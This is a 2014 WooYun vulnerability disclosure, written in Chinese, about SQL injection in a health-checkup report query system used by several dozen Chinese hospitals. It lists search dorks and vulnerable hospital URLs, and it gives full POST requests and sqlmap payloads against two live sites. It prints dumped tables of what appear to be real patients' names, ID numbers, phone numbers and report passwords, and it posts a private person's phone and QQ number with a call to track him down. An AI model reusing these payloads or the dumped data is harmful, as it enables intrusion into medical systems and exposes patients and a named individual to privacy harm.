当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083796

漏洞标题:某通用体检报告查询系统SQL注入泄露大量并可查询体检报告

相关厂商:http://www.zoneking.cn/

漏洞作者: 小饼仔

提交时间:2014-11-19 11:22

修复时间:2015-02-17 11:24

公开时间:2015-02-17 11:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-19: 细节已通知厂商并且等待厂商处理中
2014-11-24: 厂商已经确认,细节仅向厂商公开
2014-11-27: 细节向第三方安全合作伙伴开放
2015-01-18: 细节向核心白帽子及相关领域专家公开
2015-01-28: 细节向普通白帽子公开
2015-02-07: 细节向实习白帽子公开
2015-02-17: 细节向公众公开

简要描述:

泄露近200W左右用户的个人信息(体检号,社保号,姓名,性别,联系电话,身份证号,email,婚否,文化程度等等),还可在线查询体检报告
PS. 一个妹子朋友被骗了,求人肉骗子 骗子信息 电话号码:13918792971(上海) QQ: 94478959 姓名:王小新,自称在南京读过大学,貌似是南工大01届国贸,此人租房不给退押金,人跑了,打电话不接,妹子很伤心,有消息的请留言或私信联系,感谢各位大神帮忙,妹子爆照!

详细说明:

之前发过一个 WooYun: 上海市某医院体检站漏洞泄露大量体检报告(包括个人资料、身体状况等)系列二 ,后来再研究了下,发现该体检报告查询系统存在通用注入
公司:北京中科恒业科技有限公司
公司简介: 北京中科恒业科技有限公司成立于1999年,自公司成立开始,北京中科恒业科技有限公司就立志成为中国最优秀的健康医疗机构信息管理系统解决方案提供商。从业经验近13年,已成功为国内知名体检机构提供信息技术及专业医疗系统服务,有100多家大型三甲医院专属体检中心、20多家部队专属体检中心,40多家专业体检机构、6家疗养院体检中心等优质客户,在行业内积累了丰富的经验,拥有众多知名健康管理专家资深医学顾问及IT专家。
链接:http://www.zoneking.cn/
联系方式:

公司总部 北京中科恒业科技有限公司 
联系地址 北京市海淀区采石北路18号
电话 400-008-5006
传真 010-68230313
免费服务专线 400-008-5006
电子邮箱 market@zoneking.cn(市场)
sales@zoneking.cn(销售)
service@zoneking.cn(客服)
hr@zoneking.cn(人力资源)
zoneking@zoneking.cn(办公)
公司网址: http://www.zoneking.cn


前几天打不开公司网址,以为公司倒了```,结果今天试了下,打开了
该公司有一个体检报告查询系统
google关键字有以下几个

"技术支持:北京中科恒业科技有限公司"
inurl:/happy/reportsearch.asp
inurl:/happy/info.asp
inurl:/health/reportsearch.asp
inurl:/ardour/reportsearch.asp
inurl:/active/reportsearch.asp


搜索到的案例24个

邵阳第一人民医院体检中心 :报告查询	http://www.syyyy.cn:82//happy/reportsearch.asp
上海市普陀区中心医院健康体检站 :报告查询 http://www.sptdch.cn:8080//happy/reportsearch.asp
内蒙古国际旅行卫生保健中心 :报告查询 http://itha.nmciq.gov.cn/happy/reportsearch.asp
皖北总医院健康体检中心 :报告查询 http://tjzx.bydsfy.com/happy/reportsearch.asp
惠州市中心人民医院健康管理(体检)中心 :报告查询 http://tjzx.hzch.gd.cn/happy/reportsearch.asp
天士力健康管理中心 :报告查询 http://www.tsljk.com/health/reportsearch.asp
鄂尔多斯市健康中心 :报告查询 http://www.ordosyikang.com/happy/reportsearch.asp
包头聚益康健康管理中心 :报告查询 http://www.juyikang.com/ardour/reportsearch.asp
大连外启健康体检中心 :报告查询 http://dlwqtjzx.com/ardour/reportsearch.asp
南昌康桥体检中心 :报告查询 http://www.kqtjzx.com/happy/reportsearch.asp
康富来体检中心 :报告查询 http://202.104.70.3:808/active/reportsearch.asp
株洲市中心医院健康管理中心 :报告查询 http://218.75.210.182:12345/happy/reportsearch.asp
威海市文登中心医院 :报告查询 http://www.wd120.com.cn:88/happy/reportsearch.asp
朝阳市中心医院体检中心 :报告查询 http://medical.cyszxyy.com:8080/happy/reportsearch.asp
欢迎进入威海市立医院健康体检中心 http://chati.shiliyiyuan.cn/tjinfo/tjsearch.asp
泉州新侨乡体检中心 :报告查询 http://xqxtj.com/health/reportsearch.asp
泉州海体健康体检中心 :报告查询 http://qzhtjktj.com/ardour/reportsearch.asp
辽宁医学院附属第一医院体检信息查询 :报告查询 http://www.jyyyw.com:9000/happy/index.asp
哈尔滨晟和体检中心_国内权威品牌体检机构_【体检报告】 :报告查询 http://sh.88888719.com/health/reportsearch.asp
湖州大浙北健康管理有限公司 :报告查询 http://www.dazhebei.cn/ardour/reportsearch.asp
中国平煤神马集团职业病防治院 :报告查询 http://www.pmzfy.com/ardour/reportsearch.asp
阳泉市健康体检中心 :报告查询 http://www.yqtjzx.com/happy/reportsearch.asp
西宁第一人民医院体检中心 :报告查询 http://www.xnsdyyy.com/happy/reportsearch.asp
昌江街道社区卫生服务中心 :报告查询 http://www.zswsxxw.com/happy/reportsearch.asp
西安医学院第二附属医院 :报告查询 http://www.xy2fytjzx.com/happy/reportsearch.asp


以上除了后面少数几个装了WAF,其他都存在注入。
查询界面举例

111.jpg

222.jpg

333.jpg

漏洞证明:

查询处存在post注入,注入参数userid,并且验证码不会过期
例一 威海市文登中心医院 :报告查询 http://www.wd120.com.cn:88/happy/reportsearch.asp
post 请求

POST /happy/chkuser.asp HTTP/1.1
Host: www.wd120.com.cn:88
Proxy-Connection: keep-alive
Content-Length: 110
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.wd120.com.cn:88
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://www.wd120.com.cn:88/happy/reportsearch.asp
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ASPSESSIONIDSQTTDTSS=OCFFKDEBFBDIMCOAAPIOJPKE
RA-Ver: 2.7.1
RA-Sid: 65E7C870-20141014-044958-a23ba1-b78bcc
userid=41080319640816000841&password=111&CheckCode=2860&log_s=%E6%9F%A5%E8%AF%A2&action=enterprise&utype=login


sqlmap

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: userid
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: userid=-6937' OR 8291=CONVERT(INT,(SELECT CHAR(113)+CHAR(111)+CHAR(101)+CHAR(116)+CHAR(113)+(SELECT (CASE WHEN (8291=8291) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(102)+CHAR(97)+CHAR(113)+CHAR(113))) AND 'cyjV'='cyjV&password=111&CheckCode=2860&log_s=%E6%9F%A5%E8%AF%A2&action=enterprise&utype=login
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: userid=41080319640816000841'; WAITFOR DELAY '0:0:5'--&password=111&CheckCode=2860&log_s=%E6%9F%A5%E8%AF%A2&action=enterprise&utype=login
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: userid=-3315' OR 2562=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'GxvP'='GxvP&password=111&CheckCode=2860&log_s=%E6%9F%A5%E8%AF%A2&action=enterprise&utype=login
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008
current database: 'tjweb'
current user is DBA: True
available databases [8]:
[*] jzcisa
[*] master
[*] model
[*] msdb
[*] ReportServer$SQL2008
[*] ReportServer$SQL2008TempDB
[*] tempdb
[*] tjweb
Database: tjweb
+------------------------+---------+
| Table | Entries |
+------------------------+---------+
| dbo.HYB | 3206973 |
| dbo.NKB | 438904 |
| dbo.WKB | 300375 |
| dbo.USB | 149810 |
| dbo.ELB | 145740 |
| dbo.CRB | 132792 |
| dbo.JCXX | 85133 |
| dbo.JLB | 76008 |
| dbo.zk_WebYH | 45734 |
| dbo.CTB | 22789 |
省略
+------------------------+---------+


例二 欢迎进入威海市立医院健康体检中心 http://chati.shiliyiyuan.cn/tjinfo/tjsearch.asp
post请求

POST /include/chkuser.asp HTTP/1.1
Host: chati.shiliyiyuan.cn
Proxy-Connection: keep-alive
Content-Length: 130
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://chati.shiliyiyuan.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://chati.shiliyiyuan.cn/index.asp?widths=1600&heights=900&screenact=default
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ASPSESSIONIDSSBASQSA=EICEBAACCIDHCEPCEDKHFBGF; Screen=Width=1600
RA-Ver: 2.7.1
RA-Sid: 65E7C870-20141014-044958-a23ba1-b78bcc
action=user&utype=login&seltype=1&userid=310107196607165419&xmname=1111&password=1111&Submit.x=17&Submit.y=10&Submit=%B5%C7+%C2%BC


sqlmap

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: userid
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: action=user&utype=login&seltype=1&userid=310107196607165419' AND 7269=CONVERT(INT,(SELECT CHAR(113) CHAR(103) CHAR(121) CHAR(109) CHAR(113) (SELECT (CASE WHEN (7269=7269) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(113) CHAR(121) CHAR(119) CHAR(115) CHAR(113))) AND 'hUhn'='hUhn&xmname=1111&password=1111&Submit.x=17&Submit.y=10&Submit=%B5%C7 %C2%BC
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: action=user&utype=login&seltype=1&userid=310107196607165419'; WAITFOR DELAY '0:0:5'--&xmname=1111&password=1111&Submit.x=17&Submit.y=10&Submit=%B5%C7 %C2%BC
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: action=user&utype=login&seltype=1&userid=310107196607165419' AND 5891=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'nECO'='nECO&xmname=1111&password=1111&Submit.x=17&Submit.y=10&Submit=%B5%C7 %C2%BC
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
current database: 'ZKCISWEB'
current user is DBA: True
available databases [16]:
[*] Contract
[*] gqReportServer
[*] gqReportServerTempDB
[*] gqZKCISWEB
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] webhq
[*] webql
[*] webql_hospital
[*] webql_hq
[*] webTsyp
[*] ZKCISWEB
Database: ZKCISWEB
+--------------------+---------+
| Table | Entries |
+--------------------+---------+
| dbo.HYB | 12006604 |
| dbo.JCSFXM | 4379392 |
| dbo.YBB | 1851177 |
| dbo.CRB | 455120 |
| dbo.FKB | 450897 |
| dbo.USB | 437973 |
| dbo.ELB | 436626 |
| dbo.JCXX | 267331 |
| dbo.JLB | 230555 |
| dbo.HSKB | 219426 |
| dbo.WebYH | 162445 |
| dbo.WKB | 160510 |
| dbo.EBHB | 147944 |
| dbo.Haodan | 147732 |
| dbo.KQB | 111731 |
| dbo.YKB | 90930 |
省略
+--------------------+---------+


基本都是DBA权限,其他的案例相同,这里就不再举例了
然后我们来看一下可以获取哪些信息,经过对数据库表的分析
得到以字母B结尾的表对应的是每个体检科室的体检信息,如 上述案例二中的以下几个表
| dbo.HYB | 12006604 |
| dbo.YBB | 1851177 |
| dbo.CRB | 455120 |
该部分数据量非常大,上面这个例子一个表就有1000W的数据,二十几个合起来,几千万总是有的
然后找了找,发现有几个表里面存在用户个人信息和报告查询密码
表JCXX(检查信息):密码,社保号,姓名,性别,联系电话,身份证号,email,婚否,文化程度等等,

ID	PASSWORD	InsureSeriesID	XM	XB	JDRQ	CSNY	LXDH	GZDM	SFZH	Email	BorthAddress	CARD	HF	MZ	WHCD	TXDZ
1411050007,<blank>,李晓春,女,11 5 2014 8:31AM,03 21 1974 12:00AM,13654722298,<blank>,150203197403210921,NULL,132764,NULL,NULL,已婚,<blank>,<blank>,<blank>
1411050008,<blank>,张丽萍,女,11 5 2014 8:58AM,11 5 1935 12:00AM,5146441(蔡秀芝代检),<blank>,0000000000,NULL,201487,NULL,NULL,已婚,<blank>,<blank>,<blank>
1411060001,<blank>,王允林,男,11 6 2014 8:12AM,03 22 1973 12:00AM,13019551349,<blank>,150203197303220030,NULL,908671,NULL,NULL,已婚,<blank>,<blank>,<blank>
1411060002,<blank>,李锐刚,男,11 6 2014 8:16AM,11 6 1965 12:00AM,3316685,<blank>,41080320141106130753,NULL,396309,NULL,NULL,已婚,<blank>,<blank>,<blank>
1411060003,<blank>,李彦军,男,11 6 2014 8:18AM,08 1 1972 12:00AM,13848026150,<blank>,150204197208010912,NULL,600089,NULL,NULL,已婚,<blank>,<blank>,<blank>
1411060004,<blank>,祁军,男,11 6 2014 8:30AM,08 3 1972 12:00AM,13190694987,<blank>,152633197208030011,NULL,919217,NULL,NULL,已婚,<blank>,<blank>,<blank>


表zk_WebYH(网络预约):姓名、网络预约登入密码、身份证号等
并可登入网站查询体检报告,StudyId、XM、PASSWORD对应体检号、姓名、密码

VIPid	Userid	StudyId	XM	GH	PSW	SFZH	Type	ispass	isfristtime	loginLastTime
0000040892,99994,1408250009,张日麟 ,<blank>,961298,41080320140825186301,NULL,NULL,0,08 28 2014 5:37PM
0000040893,99995,1408250010,徐杰文 ,<blank>,385064,41080320140825186303,NULL,NULL,0,08 28 2014 5:37PM
0000030429,99996,1406040126,王其标 ,<blank>,362861,441421198801075516,NULL,NULL,0,08 28 2014 5:37PM
0000040910,99997,1408250029,陈焕纯 ,<blank>,282111,41080320140825186330,NULL,NULL,0,08 28 2014 5:37PM
0000040932,99998,1408250054,黄飞跃 ,<blank>,165543,41080320140825186359,NULL,NULL,0,08 28 2014 5:37PM
0000040933,99999,1408250055,冯兴 ,<blank>,172531,41080320140825186360,NULL,NULL,0,08 28 2014 5:37PM


体检报告

111.jpg


222.jpg


表VIP:姓名、性别、婚否、联系电话、文化程度、身份证号等

VIPID,VRowID,HF,XM,XB,MZ,JDRQ,LXDH,CSNY,TXDZ,WHCD,SFZH
0000045847,9110,已婚,纪秋利,男,NULL,10 14 2014 12:25PM,<blank>,10 14 1981 12:00AM,NULL,NULL,41080320141014194543
0000045848,9111,未婚,同敏,女,NULL,10 14 2014 12:25PM,<blank>,10 14 1989 12:00AM,NULL,NULL,41080320141014194544
0000045849,9112,未婚,羊芳庆,男,NULL,10 14 2014 12:25PM,<blank>,10 14 1986 12:00AM,NULL,NULL,41080320141014194545
0000045850,9113,已婚,纪璐,男,NULL,10 14 2014 12:25PM,<blank>,10 14 1982 12:00AM,NULL,NULL,41080320141014194546
0000045851,9114,已婚,王建红,男,NULL,10 14 2014 12:25PM,<blank>,10 14 1981 12:00AM,NULL,NULL,41080320141014194547
0000045852,9115,已婚,谭颖莺,女,NULL,10 14 2014 12:25PM,<blank>,10 14 1984 12:00AM,NULL,NULL,41080320141014194548
0000045853,9116,已婚,曾惠玲,女,NULL,10 14 2014 12:25PM,<blank>,10 14 1983 12:00AM,NULL,NULL,41080320141014194549
0000045854,9117,已婚,钟小丽,女,NULL,10 14 2014 12:25PM,<blank>,10 14 1982 12:00AM,NULL,NULL,41080320141014194550


这里统计了下数据量(不包含全部)

333.jpg


泄露用户信息合计224W
每个案例三个表取数据量最大的,合计145W,也就是说至少有145W是不重复的
数据量很多。
审核,这个还走小厂商吗?

修复方案:

求大神人肉骗子!

版权声明:转载请注明来源 小饼仔@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-11-24 09:50

厂商回复:

最新状态:

暂无